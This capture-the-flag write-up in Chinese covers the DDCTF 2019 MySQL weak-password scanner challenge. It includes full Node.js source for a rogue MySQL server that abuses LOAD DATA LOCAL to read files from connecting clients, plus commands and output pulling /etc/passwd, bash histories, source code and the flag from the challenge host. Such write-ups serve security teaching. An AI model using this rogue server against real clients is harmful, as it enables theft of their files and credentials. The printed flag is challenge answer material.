📎 题目
mysql弱口令
http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~本题不需要使用扫描器
限制了每秒2-3次访问
📎 解题过程
📎 Agent
正如题目所述,这题模拟的是一个 MySQL 弱密码扫描器。
题目在入口处提供了一个 agent.py 文件,供我们放到自己的服务器上运行 —— 这个文件常见于安全和性能监测服务中,例如 阿里云漏洞扫描 和 听云 Server,作为探针收集服务器上的信息。
那么先检查一下其文件内容:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
可以看出这是一个非常简单的 Web 服务,无论使用 GET 还是 POST 方法请求都将返回服务器上 netstat -tlnp
的结果。对于一个 MySQL 弱密码扫描器而言,这个结果的作用是告知扫描器当前服务器上有没有跑 MySQL Server,如果有的话端口是多少。
(除此以外,这个 Web 服务还做了一个意义不明的
Set-Cookie
操作,但既然内容是foo=bar
就暂且认为这只是一段没有意义的示例代码吧。
从安全起见,我还是用 Node.js 模拟一个 agent:
/**
* Filename: agent.js
*/
const micro = require('micro')
const PORT = process.env.PORT || 8123 // 使用原 agent.py 的端口号
const SAMPLE = JSON.stringify([
{
"local_address": "127.0.0.1:3306",
"Process_name": "2072/mysqld",
},
])
const server = micro(() => SAMPLE)
server.listen(PORT, () => {
console.log('Simplified-Agent for DDCTF-2019-Web-7 started on', server.address())
})
不得不吹一下 zeit/micro,代码美如画。
接着找一台有公网 IP 的 VPS,启动刚刚写的 agent:
node ./agent.js
# <- Simplified-Agent for DDCTF-2019-Web-7 started on { address: '::', family: 'IPv6', port 8123 }
回到题目的网页进行扫描 —— 填写 VPS 的 IP;端口应该指 MySQL Server 的端口,所以填写在 agent 中模拟的 3306
:
提示「未扫描出弱口令」。
嗯哼~ 因为就还没有启动 MySQL Server 呀。
📎 MySQL Honeypot
启动 MySQL Server 是不可能启动的。
既然唯一的线索是扫描器,那么接下来的思路是先捕获扫描器发出的请求 —— 也就是说要实现一个假的 MySQL Server。
事不宜迟,搜下有没有前辈干过这事:
诶?等下,第二条是什么?
Rogue-MySql-Server.
Edit script and change file to read and server port if you want. Run script and connect to your server for read file from client side.
(居然还有这种事.gif 😯
从 MySQL connect file read 中了解到,这是一个由 MySQL LOAD DATA
引发的安全问题:当 MySQL Server 在回复 Client 发出的请求时,回复含 LOCAL
关键字的 LOAD DATA
状态,则 Client 将按协议把指定文件的内容发送给 Server。
GitHub 上的 Gifts/Rogue-MySql-Server 和 allyshka/Rogue-MySql-Server 分别是 Python 和 PHP 版本的蜜罐实现。
而 Read MySQL Client's File 详细介绍了其中的通信过程和数据包结构,再配合 MySQL 官方的文档,实现一个 Node.js 版本的蜜罐也并不复杂:
const net = require('net')
const pad = require('left-pad')
const PORT = process.env.PORT || 3306
const FILENAME = process.argv[2] || '/etc/passwd'
const RESPONSE = {
GREATING: '5b0000000a352e362e32382d307562756e7475302e31342e30342e31002d000000403f59264b2b346000fff70802007f8015000000000000000000006869595f525f635560645352006d7973716c5f6e61746976655f70617373776f726400',
FIRST_OK: '0700000200000002000000',
SECOND_OK: '0700000400000002000000',
}
const STATE = {
WAITING_FOR_GREATING: 0,
WAITING_FOR_FIRST_OK: 1,
WAITING_FOR_QUERY: 2,
WAITING_FOR_SECOND_OK: 3,
OVER: -1,
}
const server = net.createServer((socket) => {
console.log('----- Client connected from %s:%s', socket.remoteAddress, socket.remotePort)
const write = (name, content) => {
if (typeof content === 'undefined') {
content = Buffer.from(RESPONSE[name], 'hex')
}
console.log(`Send:---\n${name}\n---`)
socket.write(content)
}
let state = STATE.WAITING_FOR_GREATING
write('GREATING')
state = STATE.WAITING_FOR_FIRST_OK
socket.on('data', (data) => {
console.log('Received data:---\n%s\n---\n%s\n---', data.toString('hex'), data.toString())
console.log('State:---\n%s\n---', state)
switch (state) {
case STATE.WAITING_FOR_FIRST_OK: {
write('FIRST_OK')
state = STATE.WAITING_FOR_QUERY
break
}
case STATE.WAITING_FOR_QUERY: {
let filename = Buffer.from(FILENAME)
let payload = Buffer.from([
pad((filename.length + 1).toString(16), 2, '0'),
'000001fb',
filename.toString('hex'),
].join(''), 'hex')
write('QUERY', payload)
state = STATE.WAITING_FOR_SECOND_OK
break
}
case STATE.WAITING_FOR_SECOND_OK: {
write('SECOND_OK')
state = STATE.OVER
break
}
case STATE.OVER: {
write('SECOND_OK')
break
}
default: {
throw new Error('Unexpected state')
}
}
})
}).on('error', (err) => {
throw err
})
server.listen(PORT, () => {
console.log('MySQL-Honeypot started on', server.address())
})
传上 VPS 后,启动 MySQL 蜜罐:
node ./mysql-honeypot.js
# <- MySQL-Honeypot started on { address: '::', family: 'IPv6', port: 3306 }
回到题目的网页,点击「扫描」:
有反应了,不过扫描结果不重要;回到 VPS 的 Terminal,可以看到已经拿到了扫描器上的 /etc/passwd
内容:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
mongod:x:997:994:mongod:/var/lib/mongo:/bin/false
nginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin
得到用户名 dc2-user
,并发现服务器上装有 MySQL、MongoDB 和 Nginx。
那么重新启动蜜罐,试下查看 dc2-user 的操作记录:
node ./mysql-honeypot.js /home/dc2-user/.bash_history
触发扫描后获得 日志,但看起来没有太多有用的信息。于是再用同样的方式获取 root 用户的操作记录:
node ./mysql-honeypot.js /root/.bash_history
获得 日志,发现曾经操作过文件 /home/dc2-user/ctf_web_2/app/main/views.py
,继续读取其内容:
node ./mysql-honeypot.js /home/dc2-user/ctf_web_2/app/main/views.py
# ...
# flag in mysql curl@localhost database:security table:flag
# ...
这段注释指明了 flag 所存储在 MySQL 中的库和表;那么继续沿用前面方式,读取 security
库 table
表的 ibd 文件:
node ./mysql-honeypot.js /var/lib/mysql/security/flag.ibd
获得 日志。
从 ibd 中搜索关键字 DDCTF
,找到 flag DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}
,顺利在活动结束后通关 ✌️。
(嗯,做的时候没想到会直接用 root 操作文件,卡在了 dc2-user 的 .bash_history
,没拿下这题的分。)
📎 Bonus
除了以上这些文件外,如果查看 Nginx 配置和 MongoDB 日志会发现这台服务器上还同时跑着 上一题 的服务,而两题的入口 IP 也确实相同。
结合上一题令人困惑的设计,不得不怀疑这是出题人有意埋下的暗线。 (意义不明
📎 涉及资料
- 源代码
- 知识点